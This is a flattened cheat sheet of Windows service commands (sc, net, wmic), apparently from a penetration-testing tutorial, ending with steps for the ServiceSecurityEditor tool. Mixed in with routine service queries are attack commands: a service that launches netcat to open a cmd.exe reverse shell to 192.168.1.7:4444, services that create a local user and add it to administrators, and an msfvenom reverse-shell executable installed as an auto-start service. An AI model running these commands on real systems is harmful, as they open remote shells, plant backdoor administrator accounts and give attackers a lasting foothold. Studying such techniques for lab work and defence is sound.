sc querysc queryex type= servicesc query type= servicesc query find "STATE"sc query | find "Telnet"sc query LanmanServersc qc Audiosrvsc stop Audiosrvsc start Audiosrvsc pause Audiosrvsc continue Audiosrvsc config Audiosrvsc create nc binPath= "C:\Windows\System32\nc64.exe"sc qc ncsc query ncsc start ncsc delete ncsc config nc binPath= "C:\Windows\nc64.exe 192.168.1.7 4444 -e cmd.exe"sc create pingme binPath= "ping 192.168.1.6"sc start pingmesc create useradd binPath="net user u1 password@123 /add"sc start useraddsc config useradd binpath= "net localgroup administrators u1 /add"sc start useraddmsfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.6 LPORT=4455 -f exe > shell.exesc create msfvenom_shell binPath= "C:\Windows\Temp\shell.exe"sc config msfvenom_shell start=auto- auto - Automatic Startup
- demand - Manual Startup
- disabled - Disabled
shutdown /r /t 0 /fnet start TlntSvrnet stop TlntSvrnet pause TlntSvrnet continue TlntSvrwmic service get name, displayname, pathname, startmodewmic service get name, displayname, pathname, startmode | findstr /i "auto"wmic service get name, displayname, pathname, startmode | findstr /i "auto" | findstr /i/v "c:\windows"ServiceSecurityEditor is used to maintain and manage services, allowing manual configuration of permissions for users.
Download ServiceSecurityEditor
- Run the application.
- Select the service you want to configure.
- Click "Open".
- Add a user.
- Select the user and set the required permissions.
- Click "Apply" and then "OK".